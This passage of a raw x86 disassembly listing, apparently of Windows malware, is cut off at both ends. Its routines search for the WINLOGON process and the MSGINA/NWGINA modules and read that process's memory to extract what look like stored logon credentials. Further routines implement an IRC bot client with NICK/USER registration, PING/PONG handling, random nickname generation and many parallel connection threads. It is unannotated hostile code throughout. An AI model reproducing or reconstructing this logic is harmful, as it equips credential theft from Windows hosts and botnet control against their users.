ecx mov [esp+28h+String], ecx jb short loc_417D4A loc_417CE6: ; CODE XREF: sub_417C5D+EBj cmp word ptr [ebx+8], 5 jnz short loc_417D3D push 0 push 0 call dword_4EC014 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4EC224 test eax, eax jnz short loc_417D2E mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417D62 loc_417D2E: ; CODE XREF: sub_417C5D+AAj test edi, edi jz short loc_417D39 push edi call dword_4EC01C loc_417D39: ; CODE XREF: sub_417C5D+D3j mov eax, [esp+28h+var_10] loc_417D3D: ; CODE XREF: sub_417C5D+8Ej add ebx, 10h inc [esp+28h+String] cmp [esp+28h+String], eax jbe short loc_417CE6 loc_417D4A: ; CODE XREF: sub_417C5D+6Dj ; sub_417C5D+7Aj ... xor edi, edi loc_417D4C: ; CODE XREF: sub_417C5D+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov eax, edi loc_417D5A: ; CODE XREF: sub_417C5D+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417D62: ; CODE XREF: sub_417C5D+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417DCB lea eax, [edi+80h] mov [esp+28h+String], eax loc_417D78: ; CODE XREF: sub_417C5D+16Cj add [esp+28h+String], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417DDF push offset aMsgina ; "MSGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417DBD mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_417DBD: ; CODE XREF: sub_417C5D+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417D78 loc_417DCB: ; CODE XREF: sub_417C5D+10Fj test edi, edi jz short loc_417DD6 push edi call dword_4EC01C loc_417DD6: ; CODE XREF: sub_417C5D+170j mov edi, [esp+28h+var_4] jmp loc_417D4C ; --------------------------------------------------------------------------- loc_417DDF: ; CODE XREF: sub_417C5D+13Cj xor eax, eax jmp loc_417D5A sub_417C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DE6 proc near ; CODE XREF: sub_417A8B+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_4F5358 ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_417E0F xor eax, eax jmp loc_417F8A ; --------------------------------------------------------------------------- loc_417E0F: ; CODE XREF: sub_417DE6+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_4F5428 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_4F541C push 8 call esi ; GetProcessHeap mov edi, ds:dword_4F5418 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_4F5424 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417E5F xor esi, esi jmp loc_417F7D ; --------------------------------------------------------------------------- loc_417E5F: ; CODE XREF: sub_417DE6+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_4F5420 ; VirtualQueryEx test eax, eax jz loc_417F6C mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_417F6C test [ebp+var_2B], 1 jnz loc_417F6C push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_417F6C loc_417EC2: ; CODE XREF: sub_417DE6+112j push edi ; Str2 push offset word_4EB014 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_417EEA lea eax, [edi+200h] push eax ; Str2 push offset word_4EB814 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_417EFA loc_417EEA: ; CODE XREF: sub_417DE6+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_417F6C jmp short loc_417EC2 ; --------------------------------------------------------------------------- loc_417EFA: ; CODE XREF: sub_417DE6+102j test edi, edi jz short loc_417F6C lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_4F53E8 ; FileTimeToLocalFileTime test eax, eax jz short loc_417F35 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_4F53E4 ; FileTimeToSystemTime test eax, eax jz short loc_417F35 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417F35: ; CODE XREF: sub_417DE6+12Bj ; sub_417DE6+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4EC238, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4EC230, eax mov Src, edi loc_417F6C: ; CODE XREF: sub_417DE6+90j ; sub_417DE6+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov esi, [ebp+var_10] loc_417F7D: ; CODE XREF: sub_417DE6+74j push [ebp+var_4] call ds:dword_4F533C ; CloseHandle pop edi mov eax, esi pop ebx loc_417F8A: ; CODE XREF: sub_417DE6+24j pop esi leave retn sub_417DE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F8D proc near ; CODE XREF: sub_417A8B:loc_417B83p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_4F5358 ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_41807F mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_4F5428 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_418076 mov edi, ds:dword_4F541C loc_417FD8: ; CODE XREF: sub_417F8D+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_4F5420 ; VirtualQueryEx test eax, eax jz short loc_418064 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_41806A test [ebp+var_13], 1 jnz short loc_41806A push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_4F5418 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_4F5424 ; ReadProcessMemory test eax, eax jz short loc_418056 push offset word_4EB014 ; Str2 push esi ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_418056 lea eax, [esi+400h] push offset word_4EB814 ; Str2 push eax ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_418086 loc_418056: ; CODE XREF: sub_417F8D+9Fj ; sub_417F8D+B0j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap jmp short loc_41806A ; --------------------------------------------------------------------------- loc_418064: ; CODE XREF: sub_417F8D+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_41806A: ; CODE XREF: sub_417F8D+71j ; sub_417F8D+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417FD8 loc_418076: ; CODE XREF: sub_417F8D+3Fj push [ebp+arg_0] call ds:dword_4F533C ; CloseHandle loc_41807F: ; CODE XREF: sub_417F8D+1Ej xor eax, eax loc_418081: ; CODE XREF: sub_417F8D+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418086: ; CODE XREF: sub_417F8D+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4EC230, ebx mov Src, eax cmp [eax], cl jnz short loc_4180A8 cmp [eax+1], cl jz short loc_4180B0 loc_4180A8: ; CODE XREF: sub_417F8D+114j ; sub_417F8D+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4180A8 loc_4180B0: ; CODE XREF: sub_417F8D+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:dword_4F533C ; CloseHandle push 1 pop eax jmp short loc_418081 sub_417F8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180C3 proc near ; CODE XREF: sub_417A8B+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4EC22C push esi mov esi, ds:dword_4F541C push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_4F5418 ; RtlAllocateHeap mov ecx, dword_4EC22C mov [ebp+var_4], eax add ecx, ecx push ecx ; Size push Src ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4EC238 push eax call dword_4EC018 push [ebp+var_4] mov edi, offset byte_4EC024 push offset word_4EB014 push offset word_4EB814 push [ebp+arg_0] push offset asc_44EE50 ; "-" push 200h ; Count push edi ; Dest call __snprintf add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_4180C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41815A proc near ; CODE XREF: sub_417A8B:loc_417BC7p var_18 = word ptr -18h var_16 = word ptr -16h Dst = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4EC22C push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_4F541C ; GetProcessHeap push eax call ds:dword_4F5418 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+Dst], eax mov ebx, offset word_4EB814 mov edi, 200h mov esi, offset byte_4EAE14 loc_4181A0: ; CODE XREF: sub_41815A+FAj mov eax, dword_4EC22C add eax, eax push eax ; Size push Src ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4EC018 mov eax, dword_4EC22C and [ebp+var_10], 0 mov ecx, [ebp+Dst] mov [ebp+var_8], 1 test eax, eax jbe short loc_418215 loc_4181DD: ; CODE XREF: sub_41815A+B3j cmp [ebp+var_8], 0 jz short loc_418232 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_418201 cmp byte ptr [ecx+1], 0 jnz short loc_418201 cmp dl, 20h jnb short loc_4181FB and [ebp+var_8], 0 loc_4181FB: ; CODE XREF: sub_41815A+9Bj cmp [ebp+var_1], 7Eh jbe short loc_418205 loc_418201: ; CODE XREF: sub_41815A+90j ; sub_41815A+96j and [ebp+var_8], 0 loc_418205: ; CODE XREF: sub_41815A+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4181DD cmp [ebp+var_8], 0 jz short loc_418232 loc_418215: ; CODE XREF: sub_41815A+81j push [ebp+Dst] push offset word_4EB014 push ebx push [ebp+arg_0] push offset asc_44EEA0 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 1Ch jmp short loc_41824A ; --------------------------------------------------------------------------- loc_418232: ; CODE XREF: sub_41815A+87j ; sub_41815A+B9j push offset word_4EB014 push ebx push [ebp+arg_0] push offset asc_44EEF0 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 18h loc_41824A: ; CODE XREF: sub_41815A+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4181A0 push [ebp+Dst] push 0 call ds:dword_4F541C ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_41815A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418273 proc near ; CODE XREF: sub_41842D+2Fp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4E3178 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4182EF push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4E30F8 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4E3138 ; inet_addr cmp eax, esi jnz short loc_4182D4 push [ebp+arg_0] call dword_4E317C ; gethostbyname test eax, eax jz short loc_4182EF mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4182D4: ; CODE XREF: sub_418273+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4E30A0 ; connect cmp eax, esi jnz short loc_4182F3 push edi call dword_4E3190 ; closesocket loc_4182EF: ; CODE XREF: sub_418273+1Bj ; sub_418273+58j mov eax, esi jmp short loc_4182F5 ; --------------------------------------------------------------------------- loc_4182F3: ; CODE XREF: sub_418273+73j mov eax, edi loc_4182F5: ; CODE XREF: sub_418273+7Ej pop edi pop esi leave retn sub_418273 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4182F9(char *Dest) sub_4182F9 proc near ; CODE XREF: sub_401CC7+328Ep ; sub_401CC7+32FAp ... Dest = dword ptr 4 push esi push edi mov edi, [esp+8+Dest] push offset asc_44FBC0 ; "\n" push edi ; Dest call _strcat pop ecx mov esi, offset dword_4EC244 pop ecx loc_418311: ; CODE XREF: sub_4182F9+42j cmp dword ptr [esi-4], 1 jnz short loc_41832F cmp dword ptr [esi], 0 jbe short loc_41832F push 0 push edi ; Str call _strlen pop ecx push eax push edi push dword ptr [esi] call dword_4E3148 ; send loc_41832F: ; CODE XREF: sub_4182F9+1Cj ; sub_4182F9+21j add esi, 210h cmp esi, offset dword_4F2964 jl short loc_418311 pop edi pop esi retn sub_4182F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418340(char *Str,int) sub_418340 proc near ; CODE XREF: sub_41842D+155p Dst = byte ptr -420h Dest = byte ptr -220h Str2 = dword ptr -20h var_1C = dword ptr -1Ch Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi push offset asc_44FBC4 ; " " push [ebp+Str] ; Str call _strtok pop ecx mov [ebp+Str2], eax pop ecx lea esi, [ebp+var_1C] push 7 xor ebx, ebx pop edi loc_418366: ; CODE XREF: sub_418340+39j push offset asc_44FBC8 ; " " push ebx ; Str call _strtok mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_418366 cmp [ebp+Str2], ebx mov esi, [ebp+var_1C] jnz short loc_41838F cmp esi, ebx jnz short loc_41838F push 1 pop eax jmp loc_418428 ; --------------------------------------------------------------------------- loc_41838F: ; CODE XREF: sub_418340+41j ; sub_418340+45j push [ebp+Str2] ; Str2 push offset aPing_1 ; "PING" call _strcmp pop ecx pop ecx test eax, eax push esi ; Str2 jnz short loc_4183AA push offset aPongS_0 ; "PONG %s\n" jmp short loc_4183F8 ; --------------------------------------------------------------------------- loc_4183AA: ; CODE XREF: sub_418340+61j push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jz short loc_4183CB push esi ; Str2 push offset a432 ; "432" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_418426 loc_4183CB: ; CODE XREF: sub_418340+78j push 200h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_418650 add esp, 10h lea eax, [ebp+Dst] push eax push offset aNickS_9 ; "NICK %s\n" loc_4183F8: ; CODE XREF: sub_418340+68j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_4] call dword_4E3148 ; send loc_418426: ; CODE XREF: sub_418340+89j xor eax, eax loc_418428: ; CODE XREF: sub_418340+4Aj pop edi pop esi pop ebx leave retn sub_418340 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41842D proc near ; DATA XREF: sub_4185D2+61o Dest = byte ptr -4008h var_3008 = byte ptr -3008h Dst = byte ptr -2008h Str = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call __alloca_probe push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4EC24C[esi] mov dword_4EC240[esi], edi push dword_4EC44C[esi] push eax call sub_418273 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4EC244[esi], eax jb loc_4185B2 mov edi, 1000h lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_418650 lea eax, [ebp+Dest] push eax ; Dest call sub_418650 lea eax, [ebp+var_3008] push eax ; Dest call sub_418650 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push dword_4EC244[esi] call dword_4E3148 ; send push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch loc_418509: ; CODE XREF: sub_41842D+111j ; sub_41842D+180j push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Str] push ebx push edi push eax push dword_4EC244[esi] call dword_4E3110 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_4185B2 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_418509 loc_418540: ; CODE XREF: sub_41842D+17Ej mov al, [ebp+eax+Str] cmp al, 0Dh jz short loc_418567 cmp al, 0Ah jz short loc_418567 cmp [ebp+arg_0], 0FA0h jz short loc_418567 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+Dst], al jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418567: ; CODE XREF: sub_41842D+11Cj ; sub_41842D+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4185A1 push dword_4EC244[esi] ; int mov [ebp+eax+Dst], bl lea eax, [ebp+Dst] push eax ; Str call sub_418340 pop ecx test eax, eax pop ecx ja short loc_4185B2 push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+arg_0], ebx loc_4185A1: ; CODE XREF: sub_41842D+138j ; sub_41842D+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_418540 jmp loc_418509 ; --------------------------------------------------------------------------- loc_4185B2: ; CODE XREF: sub_41842D+40j ; sub_41842D+107j ... mov dword_4EC240[esi], ebx mov esi, dword_4EC244[esi] cmp esi, ebx jbe short loc_4185C9 push esi call dword_4E3190 ; closesocket loc_4185C9: ; CODE XREF: sub_41842D+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_41842D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4185D2(char *Source,int,int) sub_4185D2 proc near ; CODE XREF: sub_401CC7+31DBp var_8 = byte ptr -8 var_4 = dword ptr -4 Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_41864B loc_4185E4: ; CODE XREF: sub_4185D2+77j xor edi, edi mov eax, offset dword_4EC240 loc_4185EB: ; CODE XREF: sub_4185D2+28j cmp [eax], ebx jz short loc_4185FC add eax, 210h inc edi cmp eax, offset dword_4F2960 jl short loc_4185EB loc_4185FC: ; CODE XREF: sub_4185D2+1Bj cmp edi, 31h jz short loc_41864B mov esi, edi push [ebp+Source] ; Source imul esi, 210h lea eax, dword_4EC24C[esi] push eax ; Dest call _strcpy mov eax, [ebp+arg_4] pop ecx mov dword_4EC44C[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4EC240[esi], 1 push eax push ebx push edi push offset sub_41842D push ebx push ebx call ds:dword_4F5350 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_4185E4 loc_41864B: ; CODE XREF: sub_4185D2+10j ; sub_4185D2+2Dj pop edi pop esi pop ebx leave retn sub_4185D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418650(char *Dest) sub_418650 proc near ; CODE XREF: sub_401CC7+3747p ; sub_401CC7+378Dp ... Source = byte ptr -40h var_2D = byte ptr -2Dh Dst = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h Count = dword ptr -0Ch var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch call _rand mov [ebp+Count], eax fild [ebp+Count] fmul ds:dbl_43C4D8 call __ftol cmp eax, 1 jnz short loc_41869A call _rand call _rand push 66h cdq pop ecx idiv ecx push off_44F244[edx*4] jmp short loc_4186B3 ; --------------------------------------------------------------------------- loc_41869A: ; CODE XREF: sub_418650+2Fj call _rand call _rand cdq mov ecx, 0C0h idiv ecx push off_44EF44[edx*4] ; Source loc_4186B3: ; CODE XREF: sub_418650+48j lea eax, [ebp+Dst] push eax ; Dest call _strcpy pop ecx lea eax, [ebp+Dst] pop ecx push ebx push esi push edi push eax ; Str call _strlen pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+Count], eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4D0 call __ftol mov ebx, eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_43C4C8 call __ftol cmp esi, 2 mov edi, offset a__3 ; "-|`_\\{[]}" jle short loc_418726 cmp esi, 3 jnz short loc_41871D cmp ebx, 1 jz short loc_418726 loc_41871D: ; CODE XREF: sub_418650+C6j cmp eax, 1 jnz loc_4187E0 loc_418726: ; CODE XREF: sub_418650+C1j ; sub_418650+CBj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4C0 call __ftol push off_44F244[eax*4] ; Source lea eax, [ebp+Source] push eax ; Dest call _strcpy movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; Val push edi ; Str call _strchr add esp, 10h test eax, eax jnz short loc_4187CD movsx eax, [ebp+Source] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_4187CD call _rand mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43C4C8 call __ftol cmp eax, 1 jnz short loc_4187CD push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul ds:dbl_43C4C8 call __ftol mov al, byte ptr a__3[eax] ; "-|`_\\{[]}" mov [ebx], al loc_4187CD: ; CODE XREF: sub_418650+111j ; sub_418650+122j ... push [ebp+Count] ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dst] push eax ; Dest call _strncat add esp, 0Ch loc_4187E0: ; CODE XREF: sub_418650+D0j lea eax, [ebp+Dst] push eax ; Str call _strlen mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; C mov [ebp+var_4], esi call _isdigit pop ecx test eax, eax pop ecx jnz loc_418A48 and [ebp+Count], eax movsx eax, byte ptr [ebx-1] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz loc_41893F call _rand mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43C4C8 call __ftol cmp esi, 3 jz short loc_41884E cmp eax, 1 jnz loc_41893F loc_41884E: ; CODE XREF: sub_418650+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_418890 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_43C4C8 call __ftol mov al, byte ptr a__3[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4188AC ; --------------------------------------------------------------------------- loc_418890: ; CODE XREF: sub_418650+207j call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B8 call __ftol mov cl, 41h sub cl, al mov [ebx], cl loc_4188AC: ; CODE XREF: sub_418650+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+Count], ebx call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B0 call __ftol cmp esi, 3 jz short loc_4188D5 cmp eax, ebx jnz short loc_41893F loc_4188D5: ; CODE XREF: sub_418650+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41891A push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_43C4C8 call __ftol mov al, byte ptr a__3[eax] ; "-|`_\\{[]}" mov [ebp+esi+Dst], al jmp short loc_418938 ; --------------------------------------------------------------------------- loc_41891A: ; CODE XREF: sub_418650+28Fj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B8 call __ftol mov cl, 41h sub cl, al mov [ebp+esi+Dst], cl loc_418938: ; CODE XREF: sub_418650+2C8j inc esi mov [ebp+Count], ebx mov [ebp+var_4], esi loc_41893F: ; CODE XREF: sub_418650+1C9j ; sub_418650+1F8j ... cmp esi, 6 jge loc_4189C8 cmp esi, 5 jge short loc_418960 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4D0 jmp short loc_41897E ; --------------------------------------------------------------------------- loc_418960: ; CODE XREF: sub_418650+2FBj call _rand push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43C4C8 loc_41897E: ; CODE XREF: sub_418650+30Ej call __ftol test eax, eax jnz short loc_4189A1 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4A8 call __ftol mov cl, 30h jmp short loc_4189BE ; --------------------------------------------------------------------------- loc_4189A1: ; CODE XREF: sub_418650+335j cmp eax, 1 jnz short loc_4189C8 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul 